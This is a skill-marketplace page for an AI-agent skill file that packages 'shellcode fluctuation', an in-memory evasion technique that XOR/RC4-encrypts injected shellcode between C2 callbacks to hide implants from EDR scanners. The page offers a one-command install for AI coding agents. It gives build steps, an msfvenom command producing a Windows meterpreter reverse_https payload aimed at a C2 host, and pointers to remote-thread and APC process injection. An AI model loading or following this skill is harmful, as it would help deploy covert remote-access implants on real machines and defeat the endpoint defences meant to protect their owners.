aeondave/nim-shellcode-fluctuation
offensive-tools/evasion/nim-shellcode-fluctuation/SKILL.md
Nim port of shellcode fluctuation — encrypts injected shellcode in memory between executions to evade memory scanners. Use when deploying implants that must hide from EDR in-memory scanning of RWX regions.
$ install --global
skillsauthnpx skillsauth add aeondave/malskill nim-shellcode-fluctuationInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
Security Scan Results
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
3
Scanners Passed
9
Scanners in report
Clean
TrivyContainer and dependency vulnerability scanner
95%
Clean
SemgrepStatic code analysis for vulnerabilities
95%
Clean
mcp-scan (Snyk)Model Context Protocol security validation
95%
Skipped
Snyk (dep)Open source security scanning
50%
Skipped
Socket.devSupply chain security analysis
50%
Skipped
VirusTotalMulti-engine malware detection
50%
Skipped
CrowdStrikeAdvanced threat intelligence
50%
Skipped
OSV-ScannerOpen Source Vulnerability database check
50%
Skipped
OWASP Dep-Check
50%
Last scanned: Mar 31, 2026, 9:10 PM59.2s1 file scanned
SKILL.md
- name:
- nim-shellcode-fluctuation
- description:
- Nim port of shellcode fluctuation — encrypts injected shellcode in memory between executions to evade memory scanners. Use when deploying implants that must hide from EDR in-memory scanning of RWX regions.
- license:
- MIT
- compatibility:
- Nim; Windows x64; MSVC or MinGW; github.com/tijme/nim-mangle
- author:
- AeonDave
- version:
- 1.0
Nim Shellcode Fluctuation
Memory evasion — encrypts shellcode (XOR/RC4) in RX pages between C2 callbacks.
Quick Start
# Install Nim
# nimble install winim
# Build
nim c -d:release -d:strip --opt:size -o:agent.exe fluctuation.nim
# Inject shellcode (embed in source)
# Replace SHELLCODE placeholder in nim source with msfvenom/Cobalt output
How It Works
- Shellcode is injected into RX memory
- Before sleeping: encrypt in-place (XOR/RC4), change page to RW
- After sleep: decrypt, change page back to RX/RWX
- EDR memory scans during sleep see only garbage
Core Configuration
const SLEEP_MS = 5000 # Sleep between beacons
const XOR_KEY = 0x41 # Encryption key byte
const FLUCTUATE = true # Enable/disable fluctuation
Common Workflows
Generate shellcode and embed:
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=C2 LPORT=443 -f raw -o shell.bin
# Base64-encode and embed in nim source
python3 -c "import base64; print(base64.b64encode(open('shell.bin','rb').read()).decode())"
Combine with process injection:
# Use createRemoteThread or QueueUserAPC for injection
# then enable fluctuation in the injected thread
Resources
| File | When to load |
|------|--------------|
| references/ | APC injection variants and EDR bypass notes |
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